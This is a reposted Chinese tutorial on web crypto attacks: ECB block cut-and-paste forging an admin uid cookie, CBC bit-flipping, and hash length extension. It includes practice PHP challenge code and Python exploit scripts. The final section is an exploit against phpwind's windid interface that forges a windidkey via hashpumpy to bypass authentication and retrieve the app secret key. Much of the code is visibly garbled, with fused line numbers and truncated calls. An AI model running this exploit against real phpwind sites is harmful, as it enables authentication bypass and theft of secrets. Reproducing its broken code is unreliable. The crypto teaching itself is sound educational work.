作者:Faith4444

稿费:500RMB(不服也来投稿!)。

提交方法:发送电子邮件至linwei#360.cn或登录在线提交网页

写在前面

所有剧本的地图都是自己写和画的,如果有不好的地方,请多多原谅,指出错误的地方。感谢大家。

组密码的模式

组密码一次只能处理加密的固定长度分组,但加密的纯文本可能会超过组密码处理的长度。

此时,所有分组都必须重复,重复方法称为分组密码模式。一般针对ECB、CBC模式攻击(L-ctf指其中之一)。

ECB

ECB模式的全称是电子编码手册模式,加密明文分组后就是一组密文,密文直接合并成明文分组,如图所示。

功能:

ECB模式是所有模式中最简单的模式。明文分组和密文分组是一对一匹配的,如果明文分组相同,则最终密文也将具有相同的密文分组。

每个组都是单独加密解密的,因此无需解密密文,就可以通过操作一些明文或更改明文,在不知道加密算法的情况下获得密文,从而达到攻击效果,如下所示:(翻转密文组时,明文组也会反转。)

Example:

哪个CTF遇到的题目。

想法:以管理员权限登录后,可以获得Flag。判断权限基于cookie的uid参数。cookie包含两个参数:username和uid,这两个参数是使用ECB加密的密码短语。但是,username的密文是在注册时基于明文生成的。

因此,可以根据username的纯文本操作生成所需uid的密文。如果通过Fuzz发现纯文本分组块为16字节,则注册17字节用户时,额外的字节可以是所需UID的值。此时,如果看到username的密文增加部分是UID的密文,则可以伪造UID。

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

没有找到源代码。好像丢了。我写了类似的东西。有兴趣的话可以练习。

Ebc.php:

123456789101128192021232425262728293033738394041424344?PHP function AES($ data){ $ private key=' 12345678123456781234567812345678123456781234567812345678 ';$ encrypted=mcrypt _ encrypt(mcrypt _ Rijndael _ 128,$ privatekey,$ data,mcrypt _ mode _

$encryptedData = (base64_encode($encrypted)); return $encryptedData;}function DE__AES($data){ $privateKey = "12345678123456781234567812345678"; $encryptedData = base64_decode($data); $decrypted = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $privateKey, $encryptedData, MCRYPT_MODE_ECB); $decrypted = rtrim($decrypted, "\0") ; return $decrypted;}if (@$_GET['a']=='reg'){ setcookie('uid', AES('9')); setcookie('username', AES($_POST['username'])); header("Location: ;); exit();}if (@!isset($_COOKIE['uid'])||@!isset($_COOKIE['username'])){ echo '<form method="post" action="ecb.php?a=reg">Username:<br><input type="text" name="username"><br>Password:<br><input type="text" name="password" ><br><br><input type="submit" value="注册"></form> ';}else{ $uid = DE__AES($_COOKIE['uid']); if ( $uid != '4'){ echo 'uid:' .$uid .'<br/>'; echo 'Hi ' . DE__AES($_COOKIE['username']) .'<br/>'; echo 'You are not administrotor!!'; } else { echo "Hi you are administrotor!!" .'<br/>'; echo 'Flag is 360 become better'; }}?>

ecb.py:

12345678910111281920212223242526272829303#coding=utf-8import urllibimport urllib2import base64import cookielibimport Cookiefor num in range(1,50): reg_url='; index_url='; cookie=cookielib.CookieJar() opener=urllib2.build_opener(cookie)) o(('User-Agent','Mozilla;)) num=str(num) values={'username':'aaaaaaaaaaaaaaaa'+num,'password':'123'} data=urllib.urlencode(values) opener.open(reg_url,data) text=opener.open(index_url,data) for ck in cookie: if ck.name=='username': user_name=ck.value user_name = urllib.unquote(user_name) user_name = ba(user_name) hex_name = u('hex') hex_name = hex_name[len(hex_name)/2:] hex_name = ('hex') uid = ba(hex_name) uid = urllib.quote(uid) for ck in cookie: if ck.name=='uid': ck.value=uid text=opener.open(index_url).read() if 'Flag' in text: print text break else: print num

CBC

CBC模式的全称是Cipher Block Chaining模式,在此模式中,先将明文分组与前一个密文分组(或为初始化向量IV)进行XOR运算,然后再进行加密。

解密则为密文分组先进行解密,然后再进行xor运算得到明文分组,解密过程如图所示(加密则相反)

Features:

因为CBC模式是将前一个密文分组和明文分组进行混合加密所以,是可以避免ECB模式的弱点。

但正因为如此,导致了解密时修改前一个密文分组就可以操纵后一个的解密后的明文分组,可以将前一个密文中的任意比特进行修改(0,1进行互换,也可以叫翻转)

因此CBC模式有两个攻击点:①vi向量,影响第一个明文分组 ②第n个密文分组,影响第n+1个明文分组

Example:

在比赛中遇到过很多次,基本上属于对一个密文分组进行翻转之后能够提升权限或者绕过验证的作用,自己写了一个差不多的,攻击密文的,大家可以看看

大概就是这样,要获得FLAG需要让ID=0,而我们是可以从URL中知道密文的

我们现在要对密文进行翻转攻击,但是并不清楚哪部分对应的是ID的上一个密文,可以直接脚本进行FUZZ,也可是使用burp(intruder)进行测试(选择攻击的密文)

选择攻击模式

攻击结果

burp的翻转并不是遍历所有翻转的可能每一位变动一次,比如101101的第一次为101100,那么的二次就是101110,第三次是101000,依次类推。

所以burp可能无法完全翻转出需要的payload,但是可以帮我确定需要翻转的位置,我们经过简单的计算就能得到自己需要的值

比如这里进过对比,我们轻松的找到了需要翻转的位置,但是却没有得到为0的翻转,数学不及格的我来算算。xor运算的特点:a xor b =c abc三个数任意两个运算可得到第三个,所以

0b的10进制是11

11xor5=14

14xor0=14

14的十进制为0e

FUZZ反转成功。

最后在提醒下:AES128位一组,换成16进制其实我们反转的的是第一组。但影响的却是第二组

我们这个演示的是攻击密文的,攻击iv的,基本相似,有兴趣的可以去看看OWASP里面的,那个是攻击iv的

cbc.php:

12345678910111281920212223242526272829303373839404142434445<?php $cipherText = $_GET['a'];//89b52bac0331cb0b393c1ac828b4ee0f07861f030a8a3dc4b6e786f473b52182000a0d4ce2145994573a92d257a514d1$padkey = hex2bin('66616974683434343407070707070707');$iv = hex2bin('f4ebb2df9c29efd7625561a15096cd24');$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, ''); if (mcrypt_generic_init($td, $padkey, $iv) != -1) { $p_t = mdecrypt_generic($td, hex2bin($cipherText)); mcrypt_generic_deinit($td); mcrypt_module_close($td); $p_t = trimEnd($p_t); $tmp = explode(':',$p_t); if ($tmp[2]=='0'){ print @'id:'.@$tmp[2].'<br/>'; echo 'Flag is T00ls become better'; } else{echo 'Your are noob!fuck noob!!'; echo @'<br/>id:'.@$tmp[2].'<br/>'; echo @'name:'.@$tmp[0].'<br/>'; echo @'email:'.@$tmp[1].'<br/>'; }} function pad2Length($text, $padlen){ $len = strlen($text)%$padlen; $res = $text; $span = $padlen-$len; for($i=0; $i<$span; $i++){ $res .= chr($span); } return $res; }function trimEnd($text){ $len = strlen($text); $c = $text[$len-1]; if(ord($c) <$len){ for($i=$len-ord($c); $i<$len; $i++){ if($text[$i] != $c){ return $text; } } return substr($text, 0, $len-ord($c)); } return $text; }

Hash-Length-Extension-Attack

许多算法都使用的Merkle–Damgård construction,比如MD5,和SHA-1等,因此这些算法都受到Length-Extension-Attack。

要说清这个攻击原理,我们还是简单说说SHA-1

Features:

SHA-1处理消息前会先对消息进行填充,使整个消息成为512比特的整数倍,每个分组均为512比特

①填充(Padding),方式为将多余的消息后面加一位,且为1,然后后面全部使用0填充使整个分组变为448比特,而最后的64比特会记录原始消息的长度,填充后每个分组均为512比特。

②然后就是复杂的数学计算~_~我也看的不是特别懂,但是并不影响我们理解。简单说说就行,首先会定义5个32比特的值(缓冲区初始值,是不是加起来刚好160比特~~,可以理解为iv),

然后大概就是每个分组会经过了80步的处理,然后会输出新的5个32比特的值,这个时候我们可以理解原始消息已经充分混入这160比特里面,再用这5个数作为初始值去去处理下一个分组,依次类推,最后得到的hash其实就是这5个数,可以看看我画的便于理解的草图:

Example:

Hash-Length-Extension-Attack ,可以在知道MD5(message)的hash值得情况下,算出MD5(message+padding+a)的hash值,就是根据短的消息的hash算出更长的消息的hash。

为什么呢,其实看了上面的图就会觉得很简单了。我们把hash反排序一下不久又得到5个新的32个比特值吗(此处是可以逆向MD5的算法的),我们可以用这5个数继续消息混合,而我们之前padding的数据就会成为整个消息的一部分说以能够算出MD5(message+padding+a),a就是我们要继续混合的消息。

这类漏洞一般出现在CTF中比较多,类型都是费否等于MAC == hash(message+test) message未知或者只知晓一部分,不过都不重要,重要是的message的长度,因为会影响到拓展后的消息,不知道的话就需要爆破,然后test位置可控,这样才能拓展,MAC一般也是可控,校验通过就能下一步哈哈,或者拿flag。

之前我们都是看的CTF(L-ctf也有一部分,拓展后可以下载压缩包),我们就来看看phpwind的MD5 padding 漏洞

其实是windidserver接口验证缺陷,用扩展攻击绕过验证就可以执行接口中的其他控制器中的其他方法~~

这个函数会在执行控制其方法之前执行,进行验证,然而我们发现$_windidkey可以自己输入,只要是appkey的结果相等就能通过验证

1234567891011121314public function beforeAction($handlerAdapter) { parent::beforeAction($handlerAdapter); $charset = 'utf-8'; $_windidkey = $this->getInput('windidkey', 'get'); $_time = (int)$this->getInput('time', 'get'); $_clientid = (int)$this->getInput('clientid', 'get'); if (!$_time || !$_clientid) $this->output(WindidError::FAIL); $clent = $this->_getAppDs()->getApp($_clientid); if (!$clent) $this->output(WindidError::FAIL); if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey) $this->output(WindidError::FAIL); $time = Pw::getTime(); if ($time - $_time > 1200) $this->output(WindidError::TIMEOUT); $this->appid = $_clientid; }

既然都已经说了是这类型的漏洞,那我们肯定就要找能找到的hash

showFlash这里满足要求(打印出了hash 822382cb79f915c779943a1dc131f00c)

1234public function showFlash($uid, $appId, $appKey, $getHtml = 1) {$time = Pw::getTime();$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash', 'm'=>'api', 'a'=>'doAvatar', 'c'=>'avatar'), array('uid'=>'undefined'));$key2 = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'normal', 'm'=>'api', 'a'=>'doAvatar', 'c'=>'avatar'), array());

我们再跟踪appkey

1234567891011121314151617public static function appKey($apiId, $time, $secretkey, $get, $post) {// 注意这里需要加上__data,因为下面的buildRequest()里加了。$array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token', '__data');$str = '';ksort($get);ksort($post);foreach ($get AS $k=>$v) {if (in_array($k, $array)) continue;$str .=$k.$v;}foreach ($post AS $k=>$v) {if (in_array($k, $array)) continue;$str .=$k.$v;}return md5(md5($apiId.'||'.$secretkey).$time.$str);}

经过各种排序,我们可以得出这个hash的值和消息的结构

822382cb79f915c779943a1dc131f00c = md5(md5().$time.$str)

822382cb79f915c779943a1dc131f00c= md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined

里面的md5值不知道,但是是32位,$time.$str都是可控,那么我们就可以拓展这个消息,得到新的hash,而调用这个函数进行验证的得地方自然也就绕过了验证 $_windidkey我们只要传入拓展后的hash即可绕过。因为我们拓展时必须保持md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined的结构,然而排序的时候回因为传入的a(action)参数导致打乱循序,无法扩展,但是因为phpwind的路由支持post,所以post一下控制器(c),模块(m),动作(a)这三个参数

$_windidkey(我们拓展的hash)== md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined +padding +alistcappmapi(post排序的)正好绕过验证

填写一下cookie和url就可以获得secretkey(调用的list方法,要实现其他action自行修改,getshell就暂不讨论,这不是我们这里的重点

1234567891011128192021222324252627282930337383940414243444546474849505575859606162636465666768697071#coding=utf-8import urllibimport urllib2import timeimport cookielibimport gzipimport StringIOfrom bs4 import BeautifulSoupimport reimport hashpumpyimport sysreload(sys)('utf-8')def get_key(url): url = url + '/?m=profile&c=avatar&_left=avatar' response = opener.open(url) html = re() if re().get('Content-Encoding') == 'gzip': stream = S(html) with gzip.GzipFile(fileobj=stream) as f: html = f.read() soup = BeautifulSoup(html, 'lxml') key_url = ('param',attrs={'name':'FlashVars'}).get('value') key_url = urllib.unquote(key_url) rule = 'uid=(.+?)&windidkey=(.+?)&time=(.+?)&clientid=(.+?)&type' Pattern = re.compile(rule, re.S) rs = re.findall(Pattern, key_url) return rs[0]def padding_exten(windidkey,time,uid): hexdigest = windidkey original_data = time+'adoAvatarcavatarmapitypeflashuid'+uid+'uidundefined' data_to_add = 'alistcappmapi' key_length = 32 result = list() rs = (hexdigest,original_data,data_to_add,key_length) re(rs[0]) tmp = str(rs) tmp = (',')[1] tmp = ("\'")[1] tmp = ('\\x','%') rule = 'undefined(.+?)alist' Pattern = re.compile(rule, re.S) tmp = re.findall(Pattern, tmp) re(tmp[0]) return resultif __name__ == '__main__': url = '; cookie = 'CNZZDATA1257835621=169451052-1472798292-null%7C1472798292; PHPSESSID=5adaadb063b4208acd574d3d044dda38; ECS[visit_times]=5; csrf_token=ab686222777d7f80; xzr_winduser=PbUcCS1OT1ZjCzY8GoJOV8EOvix9OdGpc%2BmWBPYV6ar07B7AZSOhSw%3D%3D; xzr_lastvisit=7%091475751418%09%2Fphpwind%2F%3Fm%3Dprofile%26c%3Davatar%26_left%3Davatar; xzr_visitor=cx59FPbNJ4FYG2e9cWKpUP%2FTZTef7Yu4DTFLTftwwZ%2FPEVo8' cj = cookielib.CookieJar() opener = urllib2.build_opener(cj)) o( ('User-Agent', 'Mozilla (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox;)) o(('Accept', '*/*')) o(('Accept-Language', 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3')) o(('Accept-Encoding', 'gzip, deflate')) o(('Connection', 'keep-alive')) o(('Cookie', cookie)) o(('Cache-Control', 'max-age=0')) uid, windidkey, time, clientid = get_key(url) windidkey, padding = padding_exten(windidkey,time,uid) payload = '/windid;+time+'&windidkey='+windidkey+'&clientid='+clientid+'&adoAvatarcavatarmapitypeflashuid'+uid+'uidundefined='+padding url = url + payload data = {'m':'api','c':'app','a':'list'} data = urllib.urlencode(data) response = opener.open(url,data) html = re() if re().get('Content-Encoding') == 'gzip': stream = S(html) with gzip.GzipFile(fileobj=stream) as f: html = f.read() print html

后记

小弟自己的理解,如果有错误的地方欢迎指正。

1.《【宝马x64座】技术共享:常见的web加密攻击方法综述》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。

2.《【宝马x64座】技术共享:常见的web加密攻击方法综述》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。

3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/auto/2768496.html